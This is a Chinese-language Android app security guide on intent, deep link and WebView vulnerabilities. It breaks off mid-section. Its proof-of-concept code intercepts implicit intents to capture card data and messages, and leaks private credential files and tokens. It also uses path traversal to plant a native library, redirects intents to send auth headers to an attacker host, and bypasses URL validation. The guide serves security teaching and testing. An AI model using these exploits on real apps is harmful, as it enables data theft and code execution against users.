要接收隐式 Intent，必须在 Intent 过滤器中包含 [CATEGORY\_DEFAULT](https://developer.android.com/reference/android/content/Intent#CATEGORY_DEFAULT) 类别。方法 `startActivity()` 和 `startActivityForResult()` 将所有 Intent 视为声明了 `CATEGORY_DEFAULT` 类别。如果 Intent 过滤器中未声明此类别，则没有隐式 Intent 会解析到 Activity。
{% endhint %}

例如，这是一个带有 Intent 过滤器的 Activity 声明，用于在数据类型为文本时接收 [ACTION\_SEND](https://developer.android.com/reference/android/content/Intent#ACTION_SEND) Intent：

```xml
<activity android:name="ShareActivity">
    <intent-filter>
        <action android:name="android.intent.action.SEND"/>
        <category android:name="android.intent.category.DEFAULT"/>
        <data android:mimeType="text/plain"/>
    </intent-filter>
</activity>
```

{% hint style="info" %}
对于所有 Activity，必须在清单文件中声明 Intent 过滤器。但是，广播接收器的过滤器可以通过调用 [registerReceiver()](https://developer.android.com/reference/android/content/Context#registerReceiver%28android.content.BroadcastReceiver,%20android.content.IntentFilter,%20java.lang.String,%20android.os.Handler%29) 动态注册，然后使用 [unregisterReceiver()](https://developer.android.com/reference/android/content/Context#unregisterReceiver%28android.content.BroadcastReceiver%29) 取消注册。这样做允许应用仅在应用运行期间的指定时间内监听特定广播。
{% endhint %}

### Intent 类型

有两种类型的 Intent：

* 显式 Intent
* 隐式 Intent

#### 显式 Intent

显式 Intent 通过提供目标应用的包名或完全限定的组件类名来指定哪个应用将满足 Intent。

例如，如果您在应用中构建了一个名为 `DownloadService` 的服务，用于从网络下载文件，您可以使用以下代码启动它：

```java
// 在 Activity 中执行，所以 'this' 是 Context
// fileUrl 是字符串 URL，如 "http://www.example.com/image.png"
Intent downloadIntent = new Intent(this, DownloadService.class);
downloadIntent.setData(Uri.parse(fileUrl));
startService(downloadIntent);
```

#### 隐式 Intent

隐式 Intent 不命名特定组件，而是声明要执行的通用操作，这允许来自另一个应用的组件来处理它。

例如，如果您有希望用户与他人分享的内容，请创建一个具有 `ACTION_SEND` 操作的 Intent，并添加指定要分享内容的附加数据。当您使用该 Intent 调用 `startActivity()` 时，用户可以选择一个应用来分享内容。

```java
// 使用字符串创建文本消息。
Intent sendIntent = new Intent();
sendIntent.setAction(Intent.ACTION_SEND);
sendIntent.putExtra(Intent.EXTRA_TEXT, textMessage);
sendIntent.setType("text/plain");

// 尝试调用 Intent。
try {
    startActivity(sendIntent);
} catch (ActivityNotFoundException e) {
    // 定义如果没有 Activity 可以处理 Intent 时您的应用应该做什么。
}
```

### Intent 解析

![](https://2241975275-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F7lonY2zgW7DNoIQMqYtw%2Fuploads%2Fgit-blob-5b1e38bcb94e268ca4d3d0a6bf4f88934a7788ad%2Fintent-filters.png?alt=media)

隐式 Intent 通过系统传递以启动另一个 Activity，如下所示：

1. `Activity A` 创建一个带有操作描述的 Intent 并将其传递给 `startActivity()`。
2. `Android 系统` 通过将 Intent 与基于三个方面的 Intent 过滤器进行比较来搜索最适合该 Intent 的 Activity：操作、数据（URI 和数据类型）和类别。[页面](https://developer.android.com/guide/components/intents-filters#Resolution) 描述了如何根据应用清单文件中的 Intent 过滤器声明将 Intent 匹配到适当的组件。
3. 当找到匹配时，系统通过调用其 `onCreate()` 方法并将 Intent 传递给它来启动匹配的 Activity（`Activity B`）。

如果 `Android 系统` 找不到任何 Activity（跨所有应用），将抛出 [ActivityNotFoundException](https://developer.android.com/reference/android/content/ActivityNotFoundException)。

如果有多个 Intent 过滤器兼容，系统将启动应用选择器。它显示一个对话框，用户可以选择要使用的应用。

{% hint style="info" %}
您可以使用 Intent 过滤器中的 `android:priority="num"` 属性控制应用在列表中的位置
{% endhint %}

## 安全问题

### 滥用 Activity 的返回值

如果应用使用 [startActivityForResult()](https://developer.android.com/reference/android/app/Activity#startActivityForResult%28android.content.Intent,%20int%29) 启动隐式 Intent，拦截应用可以使用 [setResult()](https://developer.android.com/reference/android/app/Activity#setResult%28int,%20android.content.Intent%29) 将数据传递到应用的 [onActivityResult()](https://developer.android.com/reference/android/app/Activity#onActivityResult%28int,%20int,%20android.content.Intent%29) 中。

此类操作有两种类型：

* **系统操作**通常导致读取任意文件。
* **自定义操作**可能导致依赖于应用实现的不同漏洞。

#### 自定义操作

假设，应用期望数据中的 url 在 WebView 中打开：

```java
startActivityForResult(new Intent("com.victim.PICK_ARTICLE"), 1);
```

```java
protected void onActivityResult(int requestCode, int resultCode, Intent data) {
    super.onActivityResult(requestCode, resultCode, data);
    if(requestCode == 1 && resultCode == -1) {
        webView.loadUrl(data.getStringExtra("picked_url"), getAuthHeaders());
    }
}
```

您可以开始处理 `com.victim.PICK_ARTICLE` 操作并传递任意 url 在 WebView 中打开：

* `AndroidManifest.xml`

  ```xml
  <activity android:name=".EvilActivity">
      <intent-filter android:priority="999">
          <action android:name="com.victim.PICK_ARTICLE" />
          <category android:name="android.intent.category.DEFAULT" />
      </intent-filter>
  </activity>
  ```
* `EvilActivity.java`

  ```java
  protected void onCreate(Bundle savedInstanceState) {
      super.onCreate(savedInstanceState);
      setResult(-1, new Intent().putExtra("picked_url", "https://attacker-website.com/"));
      finish();
  }
  ```

#### 系统操作

标准的 Android 操作，例如：

* `android.intent.action.PICK` 选择照片
* `android.intent.action.GET_CONTENT` 选择文件
* `android.media.action.IMAGE_CAPTURE` 创建照片
* 等等。

用于获取用户选择的文件（文档、图像、视频）的 URI，并在应用中处理它（例如通过发送到服务器）。大多数 Android/Java 库无法使用 Android `ContentResolver` 返回的 `InputStream` 向服务器发送数据。因此，应用经常在处理之前将 URI 数据缓存到文件中。这可能导致读取/写入任意文件。

**任意文件读取**

假设，应用获取 URI 并将文件缓存到外部目录（例如 SD 卡），易受攻击的应用可能如下所示：

```java
protected void onCreate(Bundle savedInstanceState) {
    super.onCreate(savedInstanceState);
    startActivityForResult(new Intent(Intent.ACTION_PICK), 1337);
}
protected void onActivityResult(int requestCode, int resultCode, Intent data) {
    super.onActivityResult(requestCode, resultCode, data);
    if(requestCode != 1337 || resultCode != -1 || data == null || data.getData() == null) {
        return;
    }
    Uri pickedUri = data.getData();
    File cacheFile = new File(getExternalCacheDir(), "temp");
    copy(pickedUri, cacheFile);
    
    // 然后以某种方式处理文件
}
private void copy(Uri uri, File toFile) {
    try {
        InputStream inputStream = getContentResolver().openInputStream(uri);
        OutputStream outputStream = new FileOutputStream(toFile);
        copy(inputStream, outputStream);
    }
    catch (Throwable th) {
        // 错误处理
    }
}
public static void copy(InputStream inputStream, OutputStream outputStream) throws IOException {
    byte[] bArr = new byte[65536];
    while (true) {
        int read = inputStream.read(bArr);
        if (read == -1) {
            break;
        }
        outputStream.write(bArr, 0, read);
    }
}
```

在这种情况下，您可以创建一个应用，该应用将返回指向目标应用私有目录中文件的链接：

* `AndroidManifest.xml`

  ```xml
  <activity android:name=".PickerActivity">
      <intent-filter android:priority="999">
          <action android:name="android.intent.action.PICK" />
          <category android:name="android.intent.category.DEFAULT" />
          <data android:mimeType="*/*" />
          <data android:mimeType="image/*" />
      </intent-filter>
  </activity>
  ```
* `PickerActivity.java`

  ```java
  protected void onCreate(Bundle savedInstanceState) {
      super.onCreate(savedInstanceState);
      setResult(-1, new Intent().setData(Uri.parse("file:///data/data/com.victim/databases/credentials")));
      finish();
  }
  ```

当受害者点击活动选择器列表中的攻击者应用时，`/data/data/com.victim/databases/credentials` 文件会自动复制到 SD 卡，任何具有 `android.permission.READ_EXTERNAL_STORAGE` 权限的应用都可以读取它。

**任意文件写入**

假设，应用获取 `content` URI 并将 ContentProvider 中的文件缓存到临时目录，易受攻击的应用可能如下所示：

```java
protected void onCreate(Bundle savedInstanceState) {
    super.onCreate(savedInstanceState);
    startActivityForResult(new Intent(Intent.ACTION_PICK), 1337);
}
protected void onActivityResult(int requestCode, int resultCode, Intent data) {
    super.onActivityResult(requestCode, resultCode, data);
    if(requestCode != 1337 || resultCode != -1 || data == null || data.getData() == null) {
        return;
    }
    Uri pickedUri = data.getData();
    File pickedFile;
    if("file".equals(pickedUri.getScheme())) {
        pickedFile = new File(pickedUri.getPath());
    }
    else if("content".equals(pickedUri.getScheme())) {
        pickedFile = new File(getCacheDir(), getFileName(pickedUri));
        copy(pickedUri, pickedFile);
    }
    // 对文件执行某些操作
}
private String getFileName(Uri pickedUri) {
    Cursor cursor = getContentResolver().query(pickedUri, new String[]{MediaStore.MediaColumns.DISPLAY_NAME}, null, null, null);
    if(cursor != null && cursor.moveToFirst()) {
        String displayName = cursor.getString(cursor.getColumnIndex(MediaStore.MediaColumns.DISPLAY_NAME));
        if(displayName != null) {
            return displayName;
        }
    }
    return "temp";
}
private void copy(Uri uri, File toFile) {
    try {
        InputStream inputStream = getContentResolver().openInputStream(uri);
        OutputStream outputStream = new FileOutputStream(toFile);
        copy(inputStream, outputStream);
    }
    catch (Throwable th) {
        // 错误处理
    }
}
public static void copy(InputStream inputStream, OutputStream outputStream) throws IOException {
    byte[] bArr = new byte[65536];
    while (true) {
        int read = inputStream.read(bArr);
        if (read == -1) {
            break;
        }
        outputStream.write(bArr, 0, read);
    }
}
```

在这种情况下，您可以使用自己的 ContentProvider 向 `getFileName()` 方法传递包含路径遍历的名称：

* `AndroidManifest.xml`

  ```xml
  <activity android:name=".PickerActivity">
      <intent-filter android:priority="999">
          <action android:name="android.intent.action.PICK" />
          <category android:name="android.intent.category.DEFAULT" />
          <data android:mimeType="*/*" />
          <data android:mimeType="image/*" />
      </intent-filter>
  </activity>
  <provider android:name=".EvilContentProvider" 
      android:authorities="com.attacker.evil"
      android:enabled="true"
      android:exported="true">
  </provider>
  ```
* `EvilContentProvider.java`

  ```java
  public Cursor query(Uri uri, String[] projection, String selection, String[] selectionArgs, String sortOrder) {
      MatrixCursor matrixCursor = new MatrixCursor(new String[]{"_display_name"});
      matrixCursor.addRow(new Object[]{"../lib-main/lib.so"});
      return matrixCursor;
  }
  public ParcelFileDescriptor openFile(Uri uri, String mode) throws FileNotFoundException {
      return ParcelFileDescriptor.open(
          new File("/data/data/com.attacker/fakelib.so"), 
          ParcelFileDescriptor.MODE_READ_ONLY
      );
  }
  ```

这允许您绕过 `/data/data/com.victim/cache/` 目录的边界，并将文件写入 `/data/data/com.victim/lib-main/lib.so`。如果目标应用加载此原生库，这将导致在受害者上下文中执行任意代码。

### 访问任意组件

由于 Intent 是 `Parcelable`，属于此类的对象可以作为附加数据传递给另一个 Intent。这可用于创建一个代理组件（Activity、广播接收器或服务），该组件接受嵌入的 Intent 并将其传递给危险方法，如 `startActivity()` 或 `sendBroadcast()`。因此，您可以强制应用启动无法直接从另一个应用启动的未导出组件，或者授予自己访问应用内容提供者的权限。

例如，假设一个应用有一个执行某些不安全操作的未导出 Activity 和一个用作代理的导出 Activity：

* `AndroidManifest.xml`

  ```xml
  <activity android:name=".ProxyActivity" android:exported="true" />
  <activity android:name=".AuthWebViewActivity" android:exported="false" />
  ```
* `ProxyActivity.java`

  ```java
  startActivity((Intent) getIntent().getParcelableExtra("extra_intent"));
  ```
* `AuthWebViewActivity.java`

  ```java
  webView.loadUrl(getIntent().getStringExtra("url"), getAuthHeaders());
  ```

在此示例中，`AuthWebViewActivity` 将用户身份验证会话传递给从 url 参数获取的 URL。

导出限制意味着您无法直接访问 `AuthWebViewActivity`，直接调用会抛出 `java.lang.SecurityException` 并显示 `Permission Denial: AuthWebViewActivity not exported from uid 1337` 消息：

```java
Intent intent = new Intent();
intent.setClassName("com.victim", "com.victim.AuthWebViewActivity");
intent.putExtra("url", "http://attacker-website.com/");
// 抛出 java.lang.SecurityException
startActivity(intent);
```

但是，您可以强制受害者自行启动 `AuthWebViewActivity`：

```java
Intent extra = new Intent();
extra.setClassName("com.victim", "com.victim.AuthWebViewActivity");
extra.putExtra("url", "http://attacker-website.com/");

Intent intent = new Intent();
intent.setClassName("com.victim", "com.victim.ProxyActivity");
intent.putExtra("extra_intent", extra);
startActivity(intent);
```

没有安全违规，因为应用有权访问其自己的所有组件。因此，它允许您绕过 Android 的内置限制。

本身，启动隐藏组件不会产生太大的安全影响，需要滥用隐藏组件的功能：

* [Oversecured：访问应用受保护组件：通过内容提供者升级攻击](https://blog.oversecured.com/Android-Access-to-app-protected-components/#escalation-of-attacks-via-content-providers)
* [Oversecured：访问应用受保护组件：攻击 Android 文件提供者](https://blog.oversecured.com/Android-Access-to-app-protected-components/#attacks-on-android-file-provider)
* [Oversecured：获得对任意\*内容提供者的访问权限](https://blog.oversecured.com/Gaining-access-to-arbitrary-Content-Providers/)

#### 通过 WebView 访问任意组件

#### 绕过保护

开发者可以实现对接收的 Intent 的过滤，并[显式设置处理 Intent 的组件](https://developer.android.com/reference/android/content/Intent#setComponent%28android.content.ComponentName%29) 为 `null`：

```java
intent.setComponent(null);
```

在这种情况下，您可以通过[选择器](https://developer.android.com/reference/android/content/Intent#setSelector%28android.content.Intent%29)指定未导出组件来绕过应用的显式 Intent 保护：

```java
Intent intent = new Intent();
intent.setSelector(new Intent().setClassName("com.victim", "com.victim.AuthWebViewActivity"));
intent.putExtra("url", "http://attacker-website.com/");
```

当尝试查找可以处理 Intent 的实体时，将使用选择器，而不是 Intent 的主要内容。

但是，开发者可以将选择器显式设置为 `null`：

```java
intent.setComponent(null);
intent.setSelector(null);
```

即使如此，您也可以创建隐式 Intent 以匹配某些未导出 Activity 的 `intent-filter`：

```xml
<activity android:name=".AuthWebViewActivity" android:exported="false">
    <intent-filter>
        <action android:name="android.intent.action.VIEW" />
        <category android:name="android.intent.category.DEFAULT" />
        <data android:scheme="victim" android:host="secure_handler" />
    </intent-filter>
</activity>
```

### 不安全的 Activity 启动

如果应用使用带有某些私有数据的隐式 Intent 来启动 Activity，您可以开始处理相同的操作以拦截私有数据。例如，假设一个银行应用使用带有卡数据的隐式 Intent 来启动 Activity：

```xml
<activity android:name=".AddCardActivity">
    <intent-filter>
        <action android:name="com.victim.ADD_CARD_ACTION" />
        <category android:name="android.intent.category.DEFAULT" />
    </intent-filter>
</activity>
```

```java
Intent intent = new Intent("com.victim.ADD_CARD_ACTION");
intent.putExtra("credit_card_number", num.getText().toString());
intent.putExtra("holder_name", name.getText().toString());
// ...
startActivity(intent);
```

您可以按如下方式拦截卡数据：

* `AndroidManifest.xml`

  ```xml
  <activity android:name=".EvilActivity">
      <intent-filter android:priority="999">
          <action android:name="com.victim.ADD_CARD_ACTION" />
          <category android:name="android.intent.category.DEFAULT" />
      </intent-filter>
  </activity>
  ```
* `EvilActivity.java`

  ```java
  Log.d("d", "Number: " + getIntent().getStringExtra("credit_card_number"));
  Log.d("d", "Holder: " + getIntent().getStringExtra("holder_name"));
  // ...
  ```

### 不安全的广播

如果应用使用隐式 Intent 来传递广播，您可以注册具有相同操作的广播接收器并拦截来自不同应用的用户广播。例如，假设一个消息服务从服务器请求新消息并将它们传递给负责在用户屏幕上显示它们的广播接收器：

```java
Intent intent = new Intent("com.victim.messenger.IN_APP_MESSAGE");
intent.putExtra("from", id);
intent.putExtra("text", text);
sendBroadcast(intent);
```

由于隐式广播会传递给设备上注册的每个接收器，跨所有应用，您可以注册以下广播接收器来拦截用户广播：

* `AndroidManifest.xml`

  ```xml
  <receiver android:name=".EvilReceiver">
      <intent-filter>
          <action android:name="com.victim.messenger.IN_APP_MESSAGE" />
      </intent-filter>
  </receiver>
  ```
* `EvilReceiver.java`

  ```java
  public class EvilReceiver extends BroadcastReceiver {
      public void onReceive(Context context, Intent intent) {
          if ("com.victim.messenger.IN_APP_MESSAGE".equals(intent.getAction())) {
              // 记录拦截的数据
              Log.d("d", "From: " + intent.getStringExtra("from"));
              Log.d("d", "Text: " + intent.getStringExtra("text"));
          }
      }
  }
  ```

## 参考资料

* [Android 开发者：Intent 和 Intent 过滤器](https://developer.android.com/guide/components/intents-filters)
* [Oversecured：拦截 Android 隐式 Intent](https://blog.oversecured.com/Interception-of-Android-implicit-intents/)
* [Oversecured：Android 访问应用受保护组件](https://blog.oversecured.com/Android-Access-to-app-protected-components/)


# 深度链接漏洞

## 深度链接概述

深度链接是一种处理特定类型链接并将用户直接发送到应用的机制，例如发送到特定的 Activity。Android 允许开发者创建两种类型的链接：

* 深度链接
* Android 应用链接

### 深度链接

深度链接是将用户直接带到应用中特定内容的 URL。例如，`example://myapp` 深度链接可用于启动 `MainActivity`。

深度链接通过添加 [Intent 过滤器](/android-ying-yong-an-quan/intent-vulnerabilities#intent-filter) 来设置，用户根据从传入 Intent 中提取的数据被引导到正确的 Activity。因此，多个应用能够处理相同的深度链接（Intent）。在这种情况下，用户可能不会直接进入特定的应用，需要选择一个应用，参见 [Intent 解析](/android-ying-yong-an-quan/intent-vulnerabilities#intent-resolution) 部分。

以下 XML 代码片段显示了清单中用于深度链接的 Intent 过滤器示例，其中 `example://myapp` URI 被解析为 `MainActivity`：

```xml
<activity android:name="MainActivity">
    <intent-filter>
        <action android:name="android.intent.action.VIEW" />
        <category android:name="android.intent.category.DEFAULT" />
        <category android:name="android.intent.category.BROWSABLE" />
        <!-- 接受以 "example://myapp" 开头的 URI -->
        <data android:scheme="example"
              android:host="myapp" />
    </intent-filter>
</activity>
```

### Android 应用链接

Android 应用链接是一种特殊类型的深度链接，允许网站 URL 立即在应用中打开相应内容（不需要用户选择应用）。如果用户不希望应用成为默认处理程序，他们可以从设备的系统设置中覆盖此行为。

Android 应用链接通过添加 [Intent 过滤器](/android-ying-yong-an-quan/intent-vulnerabilities#intent-filter) 来设置，这些过滤器使用 `http/https` URL 打开应用内容，并验证应用是否被允许打开这些网站 URL。验证需要以下步骤：

* 在清单中请求[自动应用链接验证](https://developer.android.com/training/app-links/verify-site-associations#request-verify)。这向 Android 系统发出信号，它应该验证应用是否属于 Intent 过滤器中使用的 URL 域。
* 通过在以下位置托管 [Digital Asset Links](https://developers.google.com/digital-asset-links/v1/getting-started) JSON 文件来声明网站和 Intent 过滤器之间的关系：

  ```http
  https://domain.name/.well-known/assetlinks.json
  ```

如果系统成功验证应用被允许打开 URL，系统会自动将此 URL Intent 路由到应用。

以下 XML 代码片段显示了清单中用于应用链接的 Intent 过滤器示例，其中 `https://example.com` URI 被解析为 `MainActivity`：

```xml
<activity android:name="MainActivity">
    <intent-filter android:autoVerify="true">
        <action android:name="android.intent.action.VIEW" />
        <category android:name="android.intent.category.DEFAULT" />
        <category android:name="android.intent.category.BROWSABLE" />
        <!-- 接受以 "https://example.com/ 开头的 URI -->
        <data android:scheme="https" 
              android:host="example.com" />
    </intent-filter>
</activity>
```

### 深度链接和应用链接之间的区别

| #             | 深度链接                    | 应用链接                                                                                                               |
| ------------- | ----------------------- | ------------------------------------------------------------------------------------------------------------------ |
| Intent URL 方案 | `http`、`https` 或自定义方案   | 需要 `http` 或 `https`                                                                                                |
| Intent 操作     | 任何操作                    | 需要 `android.intent.action.VIEW`                                                                                    |
| Intent 类别     | 任何类别                    | 需要 `android.intent.category.BROWSABLE` 和 `android.intent.category.DEFAULT`                                         |
| 链接验证          | 无                       | 需要在使用 HTTPS 的网站上托管的 [Digital Asset Links](https://developers.google.com/digital-asset-links/v1/getting-started) 文件 |
| 用户体验          | 可能显示消歧对话框，供用户选择哪个应用打开链接 | 无对话框；应用打开以处理网站链接                                                                                                   |
| 兼容性           | 所有 Android 版本           | Android 6.0 及更高版本                                                                                                  |

## 安全问题

### 访问任意组件

应用可以实现自己的 Intent 解析器来处理深度链接，使用 JSON 对象、字符串或字节数组，这些对象可能会扩展 Serializable 和 Parcelable 对象并允许设置不安全的标志。

例如，以下深度链接解析器将字节数组转换为 Parcel 并从中读取 Intent：

```java
Uri deeplinkUri = getIntent().getData();
if (deeplinkUri.toString().startsWith("deeplink://handle/")) {
    byte[] handle = Base64.decode(deeplinkUri.getQueryParameter("param"), 0);
    Parcel parcel = Parcel.obtain();
    parcel.unmarshall(handle, 0, handle.length);
    startActivity((Intent) parcel.readParcelable(getClassLoader()));
}
```

### 应用链接错误配置

深度链接和应用链接都可以使用 `https` 方案，开发者可以为深度链接而不是应用链接配置 Intent 过滤器。因此，您可以创建一个应用来处理相同的深度链接并拦截 Intent：

```xml
<intent-filter android:priority="999">
	<action android:name="android.intent.action.VIEW" />
	<category android:name="android.intent.category.DEFAULT" />
	<category android:name="android.intent.category.BROWSABLE" />
	<data android:scheme="https" />
	<data android:host="myapp.link" />
</intent-filter>
```

参考资料：

* [报告：通过拦截 Arrive 应用的魔术链接实现账户接管](https://hackerone.com/reports/855618)

### 在 WebView 中打开任意 URL

如果应用根据深度链接中的参数在 WebView 中打开 URL，您可以尝试绕过 URL 验证并打开任意 URL。这可用于执行任意 JavaScript、窃取敏感数据、访问任意组件并与其他弱点链式攻击。

参考资料：

* [WebView 漏洞：绕过 URL 验证](/android-ying-yong-an-quan/webview-vulnerabilities#bypass-url-validation)
* [报告：\[Grab Android/iOS\] 不安全的深度链接导致敏感信息泄露](https://hackerone.com/reports/401793)
* [文章：攻破 Facebook Android 应用](https://ash-king.co.uk/blog/facebook-bug-bounty-09-18)
* [文章：当等于不等于时，另一个 WebView 接管故事](https://valsamaras.medium.com/when-equal-is-not-another-webview-takeover-story-730be8d6e202)

### 绕过本地身份验证

应用可以在本地身份验证（密码/生物识别）之前处理深度链接，有时这可能导致用户被直接推送到 Activity 而无需本地身份验证。这可能需要您简单地遵循深度链接，或滥用参数/功能，试图获得异常条件，例如验证失败或中途中断流程。

参考资料：

* [报告：在 Android 应用中可能绕过生物识别安全功能 (com.shopify.mobile)](https://hackerone.com/reports/637194)

### 不安全的参数处理

深度链接允许用户向应用提供参数，这些参数可以用作执行本地操作、API 请求等时的参数。因此，如果这些参数没有得到适当的验证，攻击者可以利用它们获利（直到 RCE）。

例如，假设应用通过以下流程基于 http/https URL 打开本地文件：

1. 用户发送链接 `https://website.com/file.pdf`
2. 应用解析 URL 并检索 URL 路径：`file.pdf`
3. 应用将硬编码的临时文件夹与 `file.pdf` 连接：`/data/data/com.vulnerable-app/temp-files/file.pdf`
4. 应用从 `https://website.com/file.pdf` 下载 PDF 文件并将其保存到 `/data/data/com.vulnerable-app/temp-files/file.pdf`
5. 应用为用户打开下载的文件

在这种情况下，攻击者能够使用路径遍历重写包内的任意文件：`https://website.com/x/..%2F..%2Fdatabases/secret.db`。

参考资料：

* [文章：ADOBE ACROBAT READER FOR ANDROID 中的 RCE (CVE-2021-40724)](https://hulkvision.github.io/blog/post1/)

### 无需确认执行不安全操作

有时应用允许用户通过深度链接执行不安全操作，例如修改数据、拨打电话、购买订阅等。如果这些操作不需要用户的额外确认，您可以执行类似 CSRF 的攻击。

例如，如果应用允许经过身份验证的用户通过 `myapp://user?email=<email>` 深度链接更改其电子邮件，您可以通过让他们访问以下页面来将受害者的电子邮件更改为您自己的：

```html
<!DOCTYPE html>
<html>
    <script>location.href = "myapp://user?email=attacker@attacker-website.com";</script>
</html>
```

参考资料：

* [报告：Periscope Android 应用深度链接导致关注操作中的 CSRF](https://hackerone.com/reports/583987)
* [报告：解锁镜头时的 CSRF 导致镜头在无需用户交互的情况下被强制安装](https://hackerone.com/reports/1085336)

## 参考资料

* [Android 开发者：处理 Android 应用链接](https://developer.android.com/training/app-links)
* [Oversecured：Android 访问应用受保护组件](https://blog.oversecured.com/Android-Access-to-app-protected-components/)


# WebView漏洞

[WebView](https://developer.android.com/reference/android/webkit/WebView) 是一个显示网页的 View。WebView 对象将网页内容显示为活动布局的一部分，但缺少完全开发的浏览器的一些功能。

## 访问任意组件

Intent 类允许开发者使用 [toUri(flags)](https://developer.android.com/reference/android/content/Intent#toUri%28int%29) 方法将 Intent 转换为包含其 URI 表示的字符串，并使用 [parseUri(stringUri, flags)](https://developer.android.com/reference/android/content/Intent#parseUri%28java.lang.String,%20int%29) 方法从此 URI 创建 Intent。应用可以使用此方法将具有 `intent` 方案的 URL 解析为 Intent，并在 WebView 中处理 URL 时启动 Activity。如果处理未正确实现，您可以访问应用的任意组件。

开发者可以覆盖 WebViewClient 类的 [shouldOverrideUrlLoading()](https://developer.android.com/reference/android/webkit/WebViewClient#shouldOverrideUrlLoading%28android.webkit.WebView,%20android.webkit.WebResourceRequest%29) 方法来处理在 WebView 内加载新链接的所有尝试。错误处理的示例如下：

```java
public boolean shouldOverrideUrlLoading(WebView view, WebResourceRequest request) {
    Uri uri = request.getUrl();
    if ("intent".equals(uri.getScheme())) {
        startActivity(Intent.parseUri(uri.toString(), Intent.URI_INTENT_SCHEME));
        return true;
    }
    return super.shouldOverrideUrlLoading(view, request);
}
```

此代码为具有 `intent` 方案的 URL 添加了自定义处理程序，使用传递的 URL 启动新 Activity。您可以通过创建 WebView 并将其重定向到特殊构造的 `intent-scheme` URL 来利用此错误处理：

```java
// Intent-scheme URL 创建
Intent intent = new Intent();
intent.setClassName("com.victim", "com.victim.AuthWebViewActivity");
intent.putExtra("url", "http://attacker-website.com/");
String url = intent.toUri(Intent.URI_INTENT_SCHEME);
// "intent:#Intent;component=com.victim/.AuthWebViewActivity;S.url=http%3A%2F%2Fattacker-website.com%2F;end"
Log.d("d", url);
```

```java
// AuthWebViewActivity
webView.loadUrl(getIntent().getStringExtra("url"), getAuthHeaders());
```

```javascript
// WebView 内的重定向
location.href = "intent:#Intent;component=com.victim/.AuthWebViewActivity;S.url=http%3A%2F%2Fattacker-website.com%2F;end";
```

但是，有几个限制：

* Intent 嵌入的 `Parcelable` 和 `Serializable` 对象无法转换为字符串，这些对象将被忽略。
* [Intent.parseUri(stringUri, flags)](https://developer.android.com/reference/android/content/Intent#parseUri%28java.lang.String,%20int%29) 默认忽略 [Intent.FLAG\_GRANT\_READ\_URI\_PERMISSION](https://developer.android.com/reference/android/content/Intent#FLAG_GRANT_READ_URI_PERMISSION) 和 [Intent.FLAG\_GRANT\_WRITE\_URI\_PERMISSION](https://developer.android.com/reference/android/content/Intent#FLAG_GRANT_WRITE_URI_PERMISSION) 标志。只有设置了 [Intent.URI\_ALLOW\_UNSAFE](https://developer.android.com/reference/android/content/Intent#URI_ALLOW_UNSAFE) 标志时，解析器才会保留它们。

  ```java
  startActivity(Intent.parseUri(url, Intent.URI_INTENT_SCHEME | Intent.URI_ALLOW_UNSAFE))
  ```

参考资料：

* [白皮书 – 通过 Intent 方案 URL 攻击 Android 浏览器](https://www.mbsd.jp/Whitepaper/IntentScheme.pdf)

## addJavascriptInterface

[addJavascriptInterface](https://developer.android.com/reference/android/webkit/WebView#addJavascriptInterface%28java.lang.Object,%20java.lang.String%29) 方法将提供的 Java 对象注入到此 WebView 中。该对象使用提供的名称注入到网页的所有框架中，包括所有 `iframes`。这允许从 JavaScript 访问 Java 对象的方法（无法访问 Java 对象的字段）。

此方法可以向 JavaScript 提供数据，甚至允许 JavaScript 控制主机应用程序。例如，以下接口泄露了用户令牌：

```java
public class DefaultJavascriptInterface {
    Context context;

    public DefaultJavascriptInterface(Context c) {
        this.context = c;
    }

    @JavascriptInterface
    public getToken() {
        SharedPreferences sharedPref = context.getSharedPreferences(getString(
            R.string.preference_file_key), 
            Context.MODE_PRIVATE
        );
        return sharedPref.getString(getString(R.string.token_key), "")
    }
}
```

```java
public class DefaultActivity extends Activity {
    // ...

    public void loadWebView() {
        WebView webView = (WebView)findViewById(R.id.web_view);
        webView.getSettings().setJavaScriptEnabled(true);
        webView.addJavascriptInterface(new DefaultJavascriptInterface(this), "DefaultJavascriptInterface")
        // ...
    }
}
```

```html
<script>
    alert("Token: " + DefaultJavascriptInterface.getToken());
</script>
```

参考资料：

* [报告：\[Grab Android/iOS\] 不安全的深度链接导致敏感信息泄露](https://hackerone.com/reports/401793)

## 绕过 URL 验证

### 滥用反射

[android.net.Uri](https://developer.android.com/reference/android/net/Uri) 是一个抽象类，有一些内部子类，允许您使用 `android.net.Uri$HierarchicalUri` 构建具有任意部分的自定义 URI。

假设，应用实现了以下验证：

```java
// AuthWebViewActivity 
Uri uri = getIntent().getData();
boolean isOurDomain = 
    "https".equals(uri.getScheme()) 
    && uri.getUserInfo() == null
    && "legitimate.com".equals(uri.getHost());
if (isOurDomain) {
    webView.load(uri.toString(), getAuthHeaders());
}
```

在这种情况下，您可以构建一个将通过验证的 URL，但调用 `uri.toString()` 将返回攻击者的网站：

```java
Uri uri;
try {
    Class partClass = Class.forName("android.net.Uri$Part");
    Constructor partConstructor = partClass.getDeclaredConstructors()[0];
    partConstructor.setAccessible(true);

    Class pathPartClass = Class.forName("android.net.Uri$PathPart");
    Constructor pathPartConstructor = pathPartClass.getDeclaredConstructors()[0];
    pathPartConstructor.setAccessible(true);

    Class hierarchicalUriClass = Class.forName("android.net.Uri$HierarchicalUri");
    Constructor hierarchicalUriConstructor = hierarchicalUriClass.getDeclaredConstructors()[0];
    hierarchicalUriConstructor.setAccessible(true);

    Object authority = partConstructor.newInstance("legitimate.com", "legitimate.com");
    Object path = pathPartConstructor.newInstance("@attacker-website.com", "@attacker-website.com");
    uri = (Uri) hierarchicalUriConstructor.newInstance("https", authority, path, null, null);
    // uri.getScheme()   == https
    // uri.getUserInfo() == null
    // uri.getHost()     == legitimate.com
    // uri.toString()    == https://legitimate.com@attacker-website.com
}
catch (Exception e) {
    throw new RuntimeException(e);
}

Intent intent = new Intent();
intent.setData(uri);
intent.setClassName("com.victim", "com.victim.AuthWebViewActivity");
startActivity(intent);
```

这是可能的，因为受害者应用本身不解析 URI，而是信任从不受信任来源接收的已解析 URI。

### 损坏的解析器

[android.net.Uri](https://developer.android.com/reference/android/net/Uri) 不识别授权部分中的反斜杠（但 `java.net.URI` 抛出异常），这允许您绕过 URL 验证。例如，易受攻击的代码可能如下所示：

```java
Uri uri = Uri.parse(attackerControlledString);
if ("legitimate.com".equals(uri.getHost()) || uri.getHost().endsWith(".legitimate.com")) {
    webView.loadUrl(attackerControlledString, getAuthorizationHeaders());
    // 或者
